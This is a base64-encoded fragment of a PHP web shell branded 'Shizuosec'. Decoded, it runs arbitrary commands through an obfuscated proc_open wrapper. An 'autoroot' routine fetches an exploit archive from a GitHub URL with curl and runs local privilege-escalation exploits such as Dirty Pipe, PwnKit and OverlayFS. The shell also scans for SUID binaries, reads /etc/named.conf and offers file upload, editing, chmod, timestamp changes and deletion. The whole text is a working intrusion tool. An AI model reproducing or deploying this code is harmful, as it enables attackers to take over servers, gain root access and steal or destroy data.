nPGlucHV0IHR5cGU9InRleHQiIGNsYXNzPSJmb3JtLWNvbnRyb2wiIG5hbWU9Im1hc3NEZWxOYW1lIiBwbGFjZWhvbGRlcj0idGVzdC5waHAiPic7CiAgICAgICAgZWNobyAnPC9kaXY+JzsKICAgICAgICBlY2hvICc8YnV0dG9uIGNsYXNzPSJidG4gYnRuLW91dGxpbmUtbGlnaHQgdGV4dC1wdXJwbGUiIHR5cGU9InN1Ym1pdCI+U3VibWl0PC9idXR0b24+JzsKICAgICAgICBlY2hvICc8L2Zvcm0+JzsKICAgICAgICBlY2hvICc8L2Rpdj4nOwogICAgfQp9CgpmdW5jdGlvbiByb290KCRzZXQsJHNhZCkgewogICAgJHggPSAicHJlZ19tYXRjaCI7CiAgICAkeHggPSAiMj4mMSI7CiAgICBpZiAoISR4KCIvIi4keHguIi9pIiwgJHNldCkpIHsKICAgICAgICAkc2V0ID0gJHNldC4iICIuJHh4OwogICAgfQogICAgJGEgPSAiZnVuY3Rpb25fZXhpc3RzIjsKICAgICRiID0gInByb2Nfb3BlbiI7CiAgICAkYyA9ICJodG1sc3BlY2lhbGNoYXJzIjsKICAgICRkID0gInN0cmVhbV9nZXRfY29udGVudHMiOwogICAgaWYgKCRhKCRiKSkgewogICAgICAgICRwcyA9ICRiKCRzZXQsIGFycmF5KDAgPT4gYXJyYXkoInBpcGUiLCAiciIpLCAxID0+IGFycmF5KCJwaXBlIiwgInciKSwgMiA9PiBhcnJheSgicGlwZSIsICJyIikpLCAkcGluaywkc2FkKTsKICAgICAgICByZXR1cm4gJGQoJHBpbmtbMV0pOwogICAgfSBlbHNlIHsKICAgICAgICByZXR1cm4gInByb2Nfb3BlbiBmdW5jdGlvbiBpcyBkaXNhYmxlZCEiOwogICAgfQp9Ci8vICBNYWlsIHRlc3QKZnVuY3Rpb24gYXV0b3Jvb3QoKSB7CiAgICAkcGh0dCA9IGdldGN3ZCgpOwogICAgaWYgKGlzc2V0KCRfR0VUWydhY3Rpb24nXSkgJiYgJF9HRVRbJ2FjdGlvbiddID09ICdhdXRvcm9vdCcpIHsKICAgICAgICBpZiAoIWlzX2RpcigkcGh0dC4iL3NoaXp1b3Jvb3QiKSkgewogICAgICAgICAgICAgICAgICAgIG1rZGlyKCRwaHR0LiIvc2hpenVvcm9vdCIpOwogICAgICAgICAgICAgICAgICAgIHJvb3QoImN1cmwgaHR0cHM6Ly9yYXcuZ2l0aHVidXNlcmNvbnRlbnQuY29tL3NoaXp1bzEzMzcvbGlzdC9tYWluL2F1dG8udGFyLmd6IC1vIGF1dG8udGFyLmd6IiwgJHBodHQuIi9zaGl6dW9yb290Iik7CiAgICAgICAgICAgICAgICAgICAgcm9vdCgidGFyIC14ZiBhdXRvLnRhci5neiIsICRwaHR0LiIvc2hpenVvcm9vdCIpOwogICAgICAgICAgICAgICAgICAgIGlmICghZmlsZV9leGlzdHMoJHBodHQuIi9zaGl6dW9yb290L25ldGZpbHRlciIpKSB7CiAgICAgICAgICAgICAgICAgICAgICAgIGRpZSgiPGNlbnRlciBjbGFzcz0ndGV4dC1wdXJwbGUnPkZhaWxlZCB0byBEb3dubG9hZCBNYXRlcmlhbCAhPC9jZW50ZXI+Iik7CiAgICAgICAgICAgICAgICAgICAgfQogICAgICAgICAgICAgICAgfQogIGVjaG8gJzxkaXYgY2xhc3M9InAtMiI+CiAgICAgICAgICAgIDxkaXYgY2xhc3M9InJvdyBqdXN0aWZ5LWNvbnRlbnQtY2VudGVyIj4KICAgICAgICAgICAgICAgIDxkaXYgY2xhc3M9ImNhcmQgdGV4dC1wdXJwbGUgY29sLW1kLTcgbWItMyI+CiAgICAgICAgICAgICAgICAgICAgICAgIDxwcmU+PGNvZGU+TmV0ZmlsdGVyIDogJy5yb290KCJ0aW1lb3V0IDEwIC4vc2hpenVvcm9vdC9uZXRmaWx0ZXIiLCAkcGh0dCkuJ1B0cmFjZSA6ICcucm9vdCgiZWNobyBpZCB8IHRpbWVvdXQgMTAgLi9zaGl6dW9yb290L3B0cmFjZSIsICRwaHR0KS4nU2VxdW9pYSA6ICcucm9vdCgidGltZW91dCAxMCAuL3NoaXp1b3Jvb3Qvc2VxdW9pYSIsICRwaHR0KS4nT3ZlcmxheUZTIDogJy5yb290KCJlY2hvIGlkIHwgdGltZW91dCAxMCAuL292ZXJsYXlmcyIsICRwaHR0LiIvc2hpenVvcm9vdCIpLidEaXJ0eXBpcGUgOiAnLnJvb3QoImVjaG8gaWQgfCB0aW1lb3V0IDEwIC4vc2hpenVvcm9vdC9kaXJ0eXBpcGUgL3Vzci9iaW4vc3UiLCAkcGh0dCkuJ1N1ZG8gOiAnLnJvb3QoImVjaG8gMTIzNDUgfCB0aW1lb3V0IDEwIHN1ZG9lZGl0IC1zIFkiLCAkcGh0dCkuJ1B3bmtpdCA6ICcucm9vdCgiZWNobyBpZCB8IHRpbWVvdXQgMTAgLi9wd25raXQiLCAkcGh0dC4iL3NoaXp1b3Jvb3QiKS4nPC9jb2RlPjwvcHJlPgogICAgICAgICAgICAgICAgICAgIDwvZGl2PgogICAgICAgICAgICA8L2Rpdj4KICAgICAgICA8L2Rpdj4nOwogICAgfQp9CmZ1bmN0aW9uIHNjYW5zdWlkKCkgewogICAgaWYgKGlzc2V0KCRfR0VUWydhY3Rpb24nXSkgJiYgJF9HRVRbJ2FjdGlvbiddID09ICdzY2Fuc3VpZCcpIHsKICAgICAgICBlY2hvICc8ZGl2IGNsYXNzPSJwLTIiPgogICAgICAgICAgICA8ZGl2IGNsYXNzPSJyb3cganVzdGlmeS1jb250ZW50LWNlbnRlciI+CiAgICAgICAgICAgICAgICA8ZGl2IGNsYXNzPSJjYXJkIHRleHQtcHVycGxlIGNvbC1tZC03IG1iLTMiPgogICAgICAgICAgICAgICAgICAgICAgICA8cHJlPjxjb2RlPicuZXhlKCJmaW5kIC8gLXBlcm0gLXU9cyAtdHlwZSBmIDI+L2Rldi9udWxsIikuJzwvY29kZT48L3ByZT4KICAgICAgICAgICAgICAgICAgICA8L2Rpdj4KICAgICAgICAgICAgPC9kaXY+CiAgICAgICAgPC9kaXY+JzsKICAgIH0KfQoKZnVuY3Rpb24gRGVsRGlyKCRkaXIpIHsKICAgIGlmICghaXNfZGlyKCRkaXIpKSB7CiAgICAgICAgcmV0dXJuIGZhbHNlOwogICAgfQoKICAgIC8vIEhhcHVzIGlzaSBkaXJla3RvcmkKICAgICRmaWxlcyA9IHNjYW5kaXIoJGRpcik7CiAgICBmb3JlYWNoICgkZmlsZXMgYXMgJGZpbGUpIHsKICAgICAgICBpZiAoJGZpbGUgIT09ICcuJyAmJiAkZmlsZSAhPT0gJy4uJykgewogICAgICAgICAgICAkcGF0aCA9ICRkaXIgLiAnLycgLiAkZmlsZTsKICAgICAgICAgICAgaWYgKGlzX2RpcigkcGF0aCkpIHsKICAgICAgICAgICAgICAgIERlbERpcigkcGF0aCk7IC8vIFBhbmdnaWwgcmVrdXJzaWYgdW50dWsgbWVuZ2hhcHVzIGlzaSBkaXJla3RvcmkKICAgICAgICAgICAgfSBlbHNlIHsKICAgICAgICAgICAgICAgIHVubGluaygkcGF0aCk7IC8vIEhhcHVzIGZpbGUKICAgICAgICAgICAgfQogICAgICAgIH0KICAgIH0KCiAgICAvLyBIYXB1cyBkaXJla3RvcmkgaXR1IHNlbmRpcmkKICAgIGlmIChybWRpcigkZGlyKSkgewogICAgICAgIHJldHVybiB0cnVlOyAvLyBEaXJla3RvcmkgYmVyaGFzaWwgZGloYXB1cwogICAgfSBlbHNlIHsKICAgICAgICByZXR1cm4gZmFsc2U7IC8vIEdhZ2FsIG1lbmdoYXB1cyBkaXJla3RvcmkKICAgIH0KfQoKCmlmIChpc3NldCgkX1BPU1RbJ25ld0ZvbGRlck5hbWUnXSkpIHsKICAgIGlmIChta2RpcigkcGF0aCAuICcvJyAuICRfUE9TVFsnbmV3Rm9sZGVyTmFtZSddKSkgewogICAgICAgIGZsYXNoKCJDcmVhdGUgRm9sZGVyIFN1Y2Nlc3NmdWxseSEiLCAiU3VjY2VzcyIsICJzdWNjZXNzIiwgIj9kaXI9JHBhdGgiKTsKICAgIH0gZWxzZSB7CiAgICAgICAgZmxhc2goIkNyZWF0ZSBGb2xkZXIgRmFpbGVkIiwgIkZhaWxlZCIsICJlcnJvciIsICI/ZGlyPSRwYXRoIik7CiAgICB9Cn0KaWYgKGlzc2V0KCRfUE9TVFsnbmV3RmlsZU5hbWUnXSkgJiYgaXNzZXQoJF9QT1NUWyduZXdGaWxlQ29udGVudCddKSkgewogICAgaWYgKGZpbGVfcHV0X2NvbnRlbnRzKCRfUE9TVFsnbmV3RmlsZU5hbWUnXSwgJF9QT1NUWyduZXdGaWxlQ29udGVudCddKSkgewogICAgICAgIGZsYXNoKCJDcmVhdGUgRmlsZSBTdWNjZXNzZnVsbHkhIiwgIlN1Y2Nlc3MiLCAic3VjY2VzcyIsICI/ZGlyPSRwYXRoIik7CiAgICB9IGVsc2UgewogICAgICAgIGZsYXNoKCJDcmVhdGUgRmlsZSBGYWlsZWQiLCAiRmFpbGVkIiwgImVycm9yIiwgIj9kaXI9JHBhdGgiKTsKICAgIH0KfQppZiAoaXNzZXQoJF9QT1NUWyduZXdOYW1lJ10pICYmIGlzc2V0KCRfR0VUWydpdGVtJ10pKSB7CiAgICBpZiAoJF9QT1NUWyduZXdOYW1lJ10gPT0gJycpIHsKICAgICAgICBmbGFzaCgiWW91IG1pc3MgYW4gaW1wb3J0YW50IHZhbHVlIiwgIk9vb3Bzcy4uIiwgIndhcm5pbmciLCAiP2Rpcj0kcGF0aCIpOwogICAgfQogICAgaWYgKHJlbmFtZSgkcGF0aC4gJy8nLiAkX0dFVFsnaXRlbSddLCAkX1BPU1RbJ25ld05hbWUnXSkpIHsKICAgICAgICBmbGFzaCgiUmVuYW1lIFN1Y2Nlc3NmdWxseSEiLCAiU3VjY2VzcyIsICJzdWNjZXNzIiwgIj9kaXI9JHBhdGgiKTsKICAgIH0gZWxzZSB7CiAgICAgICAgZmxhc2goIlJlbmFtZSBGYWlsZWQiLCAiRmFpbGVkIiwgImVycm9yIiwgIj9kaXI9JHBhdGgiKTsKICAgIH0KfQppZiAoaXNzZXQoJF9QT1NUWyduZXdDb250ZW50J10pICYmIGlzc2V0KCRfR0VUWydpdGVtJ10pKSB7CiAgICBpZiAoZmlsZV9wdXRfY29udGVudHMoJHBhdGguICcvJy4gJF9HRVRbJ2l0ZW0nXSwgJF9QT1NUWyduZXdDb250ZW50J10pKSB7CiAgICAgICAgZmxhc2goIkVkaXQgU3VjY2Vzc2Z1bGx5ISIsICJTdWNjZXNzIiwgInN1Y2Nlc3MiLCAiP2Rpcj0kcGF0aCIpOwogICAgfSBlbHNlIHsKICAgICAgICBmbGFzaCgiRWRpdCBGYWlsZWQiLCAiRmFpbGVkIiwgImVycm9yIiwgIj9kaXI9JHBhdGgiKTsKICAgIH0KfQppZiAoaXNzZXQoJF9QT1NUWyduZXdQZXJtJ10pICYmIGlzc2V0KCRfR0VUWydpdGVtJ10pKSB7CiAgICBpZiAoJF9QT1NUWyduZXdQZXJtJ10gPT0gJycpIHsKICAgICAgICBmbGFzaCgiWW91IG1pc3MgYW4gaW1wb3J0YW50IHZhbHVlIiwgIk9vb3Bzcy4uIiwgIndhcm5pbmciLCAiP2Rpcj0kcGF0aCIpOwogICAgfQogICAgaWYgKGNobW9kKCRwYXRoLiAnLycuICRfR0VUWydpdGVtJ10sIG9jdGRlYygkX1BPU1RbJ25ld1Blcm0nXSkpKSB7CiAgICAgICAgZmxhc2goIkNoYW5nZSBQZXJtaXNzaW9uIFN1Y2Nlc3NmdWxseSEiLCAiU3VjY2VzcyIsICJzdWNjZXNzIiwgIj9kaXI9JHBhdGgiKTsKICAgIH0gZWxzZSB7CiAgICAgICAgZmxhc2goIkNoYW5nZSBQZXJtaXNzaW9uIiwgIkZhaWxlZCIsICJlcnJvciIsICI/ZGlyPSRwYXRoIik7CiAgICB9Cn0KaWYgKGlzc2V0KCRfUE9TVFsnbmV3RGF0ZSddKSAmJiBpc3NldCgkX0dFVFsnaXRlbSddKSkgewogICAgaWYgKCRfUE9TVFsnbmV3RGF0ZSddID09ICcnKSB7CiAgICAgICAgZmxhc2goIllvdSBtaXNzIGFuIGltcG9ydGFudCB2YWx1ZSIsICJPb29wc3MuLiIsICJ3YXJuaW5nIiwgIj9kaXI9JHBhdGgiKTsKICAgIH0KICAgIGlmICh0b3VjaCgkcGF0aC4gJy8nLiAkX0dFVFsnaXRlbSddLCBzdHJ0b3RpbWUoJF9QT1NUWyduZXdEYXRlJ10pKSkgewogICAgICAgIGZsYXNoKCJDaGFuZ2UgRGF0ZSBTdWNjZXNzZnVsbHkhIiwgIlN1Y2Nlc3MiLCAic3VjY2VzcyIsICI/ZGlyPSRwYXRoIik7CiAgICB9IGVsc2UgewogICAgICAgIGZsYXNoKCJDaGFuZ2UgRGF0ZSIsICJGYWlsZWQiLCAiZXJyb3IiLCAiP2Rpcj0kcGF0aCIpOwogICAgfQp9CmlmIChpc3NldCgkX0dFVFsnYWN0aW9uJ10pKSB7CiAgICAkYWN0aW9uID0gJF9HRVRbJ2FjdGlvbiddOwogICAgaWYgKCRhY3Rpb24gPT0gJ2RlbGV0ZScgJiYgaXNzZXQoJF9HRVRbJ2l0ZW0nXSkpIHsKICAgICAgICBpZiAoaXNfZGlyKCRfR0VUWydpdGVtJ10pKSB7CiAgICAgICAgICAgIGlmIChEZWxEaXIoJF9HRVRbJ2l0ZW0nXSkpIHsKICAgICAgICAgICAgICAgIGZsYXNoKCJEZWxldGUgRm9sZGVyIFN1Y2Nlc3NmdWxseSEiLCAiU3VjY2VzcyIsICJzdWNjZXNzIiwgIj9kaXI9JHBhdGgiKTsgICAgCiAgICAgICAgICAgIH0gZWxzZSB7CiAgICAgICAgICAgICAgICBmbGFzaCgiRGVsZXRlIEZvbGRlciBGYWlsZWQiLCAiRmFpbGVkIiwgImVycm9yIiwgIj9kaXI9JHBhdGgiKTsKICAgICAgICAgICAgfQogICAgICAgIH0gZWxzZSB7CiAgICAgICAgICAgIGlmICh1bmxpbmsoJF9HRVRbJ2l0ZW0nXSkpIHsKICAgICAgICAgICAgICAgIGZsYXNoKCJEZWxldGUgRmlsZSBTdWNjZXNzZnVsbHkhIiwgIlN1Y2Nlc3MiLCAic3VjY2VzcyIsICI/ZGlyPSRwYXRoIik7CiAgICAgICAgICAgIH0gZWxzZSB7CiAgICAgICAgICAgICAgICBmbGFzaCgiRGVsZXRlIEZpbGUgRmFpbGVkIiwgIkZhaWxlZCIsICJlcnJvciIsICI/ZGlyPSRwYXRoIik7CiAgICAgICAgICAgIH0KICAgICAgICB9CiAgICB9Cn0KCmlmIChpc3NldCgkX0ZJTEVTWyd1cGxvYWRmaWxlJ10pKSB7CiAgICAkdG90YWwgPSBjb3VudCgkX0ZJTEVTWyd1cGxvYWRmaWxlJ11bJ25hbWUnXSk7CiAgICBmb3IgKCRpID0gMDsgJGkgPCAkdG90YWw7ICRpKyspIHsKICAgICAgICAkbWFpbnVwbG9hZCA9IG1vdmVfdXBsb2FkZWRfZmlsZSgkX0ZJTEVTWyd1cGxvYWRmaWxlJ11bJ3RtcF9uYW1lJ11bJGldLCAkX0ZJTEVTWyd1cGxvYWRmaWxlJ11bJ25hbWUnXVskaV0pOwogICAgfQogICAgaWYgKCR0b3RhbCA8IDIpIHsKICAgICAgICBpZiAoJG1haW51cGxvYWQpIHsKICAgICAgICAgICAgZmxhc2goIlVwbG9hZCBGaWxlIFN1Y2Nlc3NmdWxseSEgIiwgIlN1Y2Nlc3MiLCAic3VjY2VzcyIsICI/ZGlyPSRwYXRoIik7CiAgICAgICAgfSBlbHNlIHsKICAgICAgICAgICAgZmxhc2goIlVwbG9hZCBGYWlsZWQiLCAiRmFpbGVkIiwgImVycm9yIiwgIj9kaXI9JHBhdGgiKTsKICAgICAgICB9CiAgICB9CiAgICBlbHNlewogICAgICAgIGlmICgkbWFpbnVwbG9hZCkgewogICAgICAgICAgICBmbGFzaCgiVXBsb2FkICRpIEZpbGVzIFN1Y2Nlc3NmdWxseSEgIiwgIlN1Y2Nlc3MiLCAic3VjY2VzcyIsICI/ZGlyPSRwYXRoIik7CiAgICAgICAgfSBlbHNlIHsKICAgICAgICAgICAgZmxhc2goIlVwbG9hZCBGYWlsZWQiLCAiRmFpbGVkIiwgImVycm9yIiwgIj9kaXI9JHBhdGgiKTsKICAgICAgICB9CiAgICB9Cn0KCmlmKCRfUE9TVFsiZ2V0ZiJdID09ICJkb3dubG9hZCIpCiAgICAgaWYoZmRvd24oJF9QT1NUWydmaWxlZG93biddLCAkX1BPU1RbJ25hbWVmaWxlJ10pKXsKICAgICAgICBlY2hvICc8Zm9udCBjb2xvcj0icmVkIj5HYWdhbCBDdWshISE8L2ZvbnQ+JzsKICAgIH1lbHNlewogICAgICAgIGVjaG8gJzxhIGhyZWY9IicuJF9QT1NUWyduYW1lZmlsZSddLiciIHRhcmdldD0iX2JsYW5rIj4nLiRfUE9TVFsnbmFtZWZpbGUnXS4nPC9hPic7CiAgICB9CgokZGlycyA9IHNjYW5kaXIoJHBhdGgpOwoKJGQwbWFpbnMgPSBAZmlsZSgiL2V0Yy9uYW1lZC5jb25mIiwgZmFsc2UpOwppZiAoISRkMG1haW5zKXsKICAgICRkb20gPSAiQ2FudCByZWFkIC9ldGMvbmFtZWQuY29uZiI7CiAgICAkR0xPQkFMU1sibmVlZF90b191cGRhdGVfaGVhZGVyIl0gPSAidHJ1ZSI7Cn1lbHNlewogICAgJGNvdW50ID0gMDsKICAgIGZvcmVhY2ggKCRkMG1haW5zIGFzICRkMG1haW4pewogICAgICAgIGlmIChAc3Ryc3RyKCRkMG1haW4sICJ6b25lIikpewogICAgICAgICAgICBwcmVnX21hdGNoX2FsbCgnI3pvbmUgIiguKikiIycsICRkMG1haW4sICRkb21haW5zKTsKICAgICAgICAgICAgZmx1c2goKTsKICAgICAgICAgICAgaWYgKHN0cmxlbih0cmltKCRkb21haW5zWzFdWzBdKSkgPiAyKXsKICAgICAgICAgICAgICAgIGZsdXNoKCk7CiAgICAgICAgICAgICAgICAkY291bnQrKzsKICAgICAgICAgICAgfQogICAgICAgIH0KICAgIH0KICAgICRkb20gPSAiJGNvdW50IERvbWFpbiI7Cn0KCiRwaHB2ZXIgPSBQSFBfVkVSU0lPTjsKJHBocG9zID0gUEhQX09TOwokaXAgPSBnZXRob3N0YnluYW1lKCRfU0VSVkVSWydIVFRQX0hPU1QnXSk7CiR1aXAgPSAkX1NFUlZFUlsnUkVNT1RFX0FERFInXTsKJHNlcnYgPSAkX1NFUlZFUlsnSFRUUF9IT1NUJ107CiRzb2Z0ID0gJF9TRVJWRVJbJ1NFUlZFUl9TT0ZUV0FSRSddOwokeF91bmFtZSA9IGV4ZSgidW5hbWUgLWEiKTsKJHVuYW1lID0gZnVuY3Rpb25fZXhpc3RzKCdwaHBfdW5hbWUnKSA/IHN1YnN0cihAcGhwX3VuYW1lKCksIDAsIDEyMCkgOiAoc3RybGVuKCR4X3VuYW1lKSA+IDAgPyAkeF91bmFtZSA6ICdVbmFtZSBFcnJvciEnKTsKJHNxbCA9IGZ1bmN0aW9uX2V4aXN0cygnbXlzcWxpX2Nvbm5lY3QnKSA/ICI8Z3I+T048L2dyPiIgOiAiPHJkPk9GRjwvcmQ+IjsKICAgICAgICAgICAgJGN1cmwgPSBmdW5jdGlvbl9leGlzdHMoJ2N1cmxfaW5pdCcpID8gIjxncj5PTjwvZ3I+IiA6ICI8cmQ+T0ZGPC9yZD4iOwogICAgICAgICAgICBmdW5jdGlvbiBpZkV4aXN0KCRwYXRoKSB7CiAgICAJCQlyZXR1cm4gZmlsZV9leGlzdHMoJHBhdGgpOwoJCQl9CgoJCQkkd2dldCA9IGlmRXhpc3QoJy91c3IvYmluL3dnZXQnKSA/ICI8Z3I+T048L2dyPiIgOiAiPHJkPk9GRjwvcmQ+IjsKCQkJJHBsID0gaWZFeGlzdCgnL3Vzci9iaW4vcGVybCcpID8gIjxncj5PTjwvZ3I+IiA6ICI8cmQ+T0ZGPC9yZD4iOwoJCQkkcHkgPSBpZkV4aXN0KCcvdXNyL2Jpbi9weXRob24nKSA/ICI8Z3I+T048L2dyPiIgOiAiPHJkPk9GRjwvcmQ+IjsKCQkJJGdjYyA9IGlmRXhpc3QoJy91c3IvYmluL2djYycpID8gIjxncj5PTjwvZ3I+IiA6ICI8cmQ+T0ZGPC9yZD4iOwoJCQkkcGtleGVjID0gaWZFeGlzdCgnL3Vzci9iaW4vcGtleGVjJykgPyAiPGdyPk9OPC9ncj4iIDogIjxyZD5PRkY8L3JkPiI7CiAgICAgICAgICAgICRkaXNmdW5jID0gQGluaV9nZXQoImRpc2FibGVfZnVuY3Rpb25zIik7CiAgICAgICAgICAgIGlmIChlbXB0eSgkZGlzZnVuYykpIHsKICAgICAgICAgICAgICAgICRkaXNmYyA9ICI8Z3I+Tk9ORTwvZ3I+IjsKICAgICAgICAgICAgfSBlbHNlIHsKICAgICAgICAgICAgICAgICRkaXNmYyA9ICI8cmQ+JGRpc2Z1bmM8L3JkPiI7CiAgICAgICAgICAgIH0KPz4KPGh0bWw+CiAgICA8aGVhZD4KICAgICAgICA8bWV0YSBjaGFyc2V0PSJ1dGYtOCI+CiAgICAgICAgPG1ldGEgbmFtZT0idmlld3BvcnQiIGNvbnRlbnQ9IndpZHRoPWRldmljZS13aWR0aCwgaW5pdGlhbC1zY2FsZT0xIj4KICAgICAgICA8bWV0YSBuYW1lPSJyb2JvdHMiIGNvbnRlbnQ9Im5vaW5kZXgsIG5vZm9sbG93Ij4KICAgICAgICA8bGluayByZWw9Imljb24iIGhyZWY9Imh0dHBzOi8vY2RuLnNoaXp1b3NlYy5pZC90N2pvZHdzYTM1L1NoaXp1b3NlYy53ZWJwIj4KICAgICAgICA8bGluayBocmVmPSJodHRwczovL2Nkbi5qc2RlbGl2ci5uZXQvbnBtL2Jvb3RzdHJhcEA1LjEuMy9kaXN0L2Nzcy9ib290c3RyYXAubWluLmNzcyIgcmVsPSJzdHlsZXNoZWV0IiBpbnRlZ3JpdHk9InNoYTM4NC0xQm1FNGtXQnE3OGlZaEZsZHZLdWhmVEFVNmF1VTh0VDk0V3JIZnRqRGJyQ0VYU1Uxb0JvcXlsMlF2WjZqSVczIiBjcm9zc29yaWdpbj0iYW5vbnltb3VzIj4KICAgICAgICA8bGluayByZWw9InN0eWxlc2hlZXQiIGhyZWY9Imh0dHBzOi8vcHJvLmZvbnRhd2Vzb21lLmNvbS9yZWxlYXNlcy92NS4xMC4wL2Nzcy9hbGwuY3NzIiBpbnRlZ3JpdHk9InNoYTM4NC1BWW1FQzNZdzVjVmIzWmN1SHRPQTkzdzM1ZFlUc3ZoTFBWbllzOWVTdEhmR0p2T3ZLeFZmRUxHcm9Ha3ZzZytwIiBjcm9zc29yaWdpbj0iYW5vbnltb3VzIiAvPgogICAgICAgIDx0aXRsZT48Pz0gJG5tOyA/PiB8IFsgPD89ICRzZXJ2OyA/PiBdPC90aXRsZT4KICAgICAgICA8bGluayBocmVmPSJodHRwczovL2ZvbnRzLmdvb2dsZWFwaXMuY29tL2NzczI/ZmFtaWx5PVVidW50dStNb25vIiByZWw9InN0eWxlc2hlZXQiPgogICAgICAgIDxzdHlsZSB0eXBlPSJ0ZXh0L2NzcyI+CiAgICAgICAgICAgICogewogICAgICAgICAgICAgICAgZm9udC1mYW1pbHk6IFVidW50dSBNb25vOwogICAgICAgICAgICB9CiAgICAgICAgICAgIGEgewogICAgICAgICAgICAgICAgdGV4dC1kZWNvcmF0aW9uOiBub25lOwogICAgICAgICAgICAgICAgY29sb3I6IHdoaXRlOwogICAgICAgICAgICB9CiAgICAgICAgICAgIGE6aG92ZXIgewogICAgICAgICAgICAgICAgY29sb3I6IHdoaXRlOwogICAgICAgICAgICB9CiAgICAgICAgICAgIC8qIHdpZHRoICovCiAgICAgICAgICAgIDo6LXdlYmtpdC1zY3JvbGxiYXIgewogICAgICAgICAgICAgICAgd2lkdGg6IDdweDsKICAgICAgICAgICAgICAgIGhlaWdodDogN3B4OwogICAgICAgICAgICB9CiAgICAgICAgICAgIC8qIEhhbmRsZSAqLwogICAgICAgICAgICA6Oi13ZWJraXQtc2Nyb2xsYmFyLXRodW1iIHsKICAgICAgICAgICAgICAgIGJhY2tncm91bmQ6IGdyZXk7CiAgICAgICAgICAgICAgICBib3JkZXItcmFkaXVzOiA3cHg7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgLyogVHJhY2sgKi8KICAgICAgICAgICAgOjotd2Via2l0LXNjcm9sbGJhci10cmFjayB7CiAgICAgICAgICAgICAgICBib3gtc2hhZG93OiBpbnNldCAwIDAgN3B4IGdyZXk7CiAgICAgICAgICAgICAgICBib3JkZXItcmFkaXVzOiA3cHg7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgLnRkLWJyZWFrIHsKICAgICAgICAgICAgICAgIHdvcmQtYnJlYWs6IGJyZWFrLWFsbAogICAgICAgICAgICB9CiAgICAgICAgICAgIC50ZXh0LXB1cnBsZSB7CiAgICAgICAgICAgICAgICBjb2xvcjojMDI5YmZhOwogICAgICAgICAgICB9CiAgICAgICAgICAgIGdyIHtjb2xvcjojNTRBNzAwO30KICAgICAgICAgICAgcmQge2NvbG9yOnJlZDt9CiAgICAgICAgICAgIC5rYW5hbiB7CiAgICAgICAgICAgICAgICB0ZXh0LWFsaWduOiByaWdodDsKICAgICAgICAgICAgICAgIG1hcmdpbi10b3A6IC0xMHB4OwogICAgICAgICAgICAgICAgZm9udC1zaXplOjEycHg7CiAgICAgICAgICAgIH0KICAgICAgICA8L3N0eWxlPgogICAgPC9oZWFkPgogICAgPGJvZHkgY2xhc3M9ImJnLWRhcmsgdGV4dC1wdXJwbGUiPgogICAgICAgIDxjZW50ZXI+PGltZyBzcmM9Imh0dHBzOi8vY2RuLnNoaXp1b3NlYy5pZC90N2pvZHdzYTM1L1NoaXp1b3NlYy53ZWJwIiBhbHQ9ImxvZ28iIHdpZHRoPSI0MDAiIGhlaWdodD0iNDAwIj48L2NlbnRlcj4KICAgICAgICA8ZGl2IGNsYXNzPSJjb250YWluZXItZmx1aWQiPgogICAgICAgICAgICA8ZGl2IGNsYXNzPSJweS0zIiBpZD0ibWFpbiI+CiAgICAgICAgICAgICAgICA8ZGl2IGNsYXNzPSJwLTQgcm91bmRlZC0zIj4KICAgICAgICAgICAgICAgICAgICA8dGFibGUgY2xhc3M9InRhYmxlIHRhYmxlLWJvcmRlcmxlc3MgdGV4dC1wdXJwbGUiPgogICAgICAgICAgICAgICAgICAgICAgICA8dHI+CiAgICAgICAgICAgICAgICAgICAgICAgICAgICA8dGQgc3R5bGU9IndpZHRoOiA3JTsiPkF1dGhvcjwvdGQ+CiAgICAgICAgICAgICAgICAgICAgICAgICAgICA8dGQgc3R5bGU9IndpZHRoOiAxJSI+OjwvdGQ+CiAgICAgICAgICAgICAgICAgICAgICAgICAgICA8dGQ+PGZvbnQgY29sb3I9ImxpbWUiPlNoaXp1bzEzMzc8L2ZvbnQ+PC90ZD4KICAgICAgICAgICAgICAgICAgICAgICAgPC90cj4KICAgICAgICAgICAgICAgICAgICAgICAgPHRyPgogICAgICAgICAgICAgICAgICAgICAgICAgICAgPHRkIHN0eWxlPSJ3aWR0aDogNyU7Ij5QZXJtaXNzaW9uPC90ZD4KICAgICAgICAgICAgICAgICAgICAgICAgICAgIDx0ZCBzdHlsZT0id2lkdGg6IDElIj46PC90ZD4KICAgICAgICAgICAgICAgICAgICAgICAgICAgIDx0ZD5bJm5ic3A7PD9waHAgZWNobyB3cml0YWJsZSgkcGF0aCwgcGVybXMoJHBhdGgpKSA/PiZuYnNwO108L3RkPgogICAgICAgICAgICAgICAgICAgICAgICA8L3RyPgogICAgICAgICAgICAgICAgICAgIDwvdGFibGU+CiAgICAgICAgICAgICAgICAgICAgPGRpdiBjbGFzcz0iYmtwIHRhYmxlLXJlc3BvbnNpdmUiPgogICAgICAgICAgICAgICAgICAgICAgICA8aSBjbGFzcz0iZmEgZmEgZmEtZm9sZGVyIj48L2k+CiAgICAgICAgICAgICAgICAgICAgICAgIDw/cGhwIGZvcmVhY2ggKCRleGRpciBhcyAkaWQgPT4gJHBhdCkgOiBpZiAoJHBhdCA9PSAnJyAmJiAkaWQgPT0gMCk6ID8+CgogICAgICAgICAgICAgICAgICAgICAgICAgICAgPGEgaHJlZj0iP2Rpcj0vIiBjbGFzcz0idGV4dC1kZWNvcmF0aW9uLW5vbmUgdGV4dC1wdXJwbGUiPi88L2E+CiAgICAgICAgICAgICAgICAgICAgICAgIDw/cGhwIGVuZGlmOyBpZiAoJHBhdCA9PSAnJykgY29udGludWU7ID8+CgogICAgICAgICAgICAgICAgICAgICAgICAgICAgPGEgaHJlZj0iP2Rpcj08P3BocCBmb3IgKCRpID0gMDsgJGkgPD0gJGlkOyAkaSsrKSB7IGVjaG8gIiRleGRpclskaV0iOyBpZiAoJGkgIT0gJGlkKSBlY2hvICIvIjsgfSA/PiIgY2xhc3M9InRleHQtZGVjb3JhdGlvbi1ub25lIHRleHQtcHVycGxlIj48Pz0gJHBhdCA/PjwvYT4KICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxzcGFuIGNsYXNzPSJ0ZXh0LXB1cnBsZSI+Lzwvc3Bhbj4KICAgICAgICAgICAgICAgICAgICAgICAgPCEtLSBlbmRmb3JlYWNoIC0tPgogICAgICAgICAgICAgICAgICAgICAgICA8P3BocCBlbmRmb3JlYWNoOyA/PgoKICAgICAgICAgICAgICAgICAgICA8L2Rpdj4KICAgICAgICAgICAgICAgICAgICA8ZGl2IGNsYXNzPSJrYW5hbiBweS0zIiB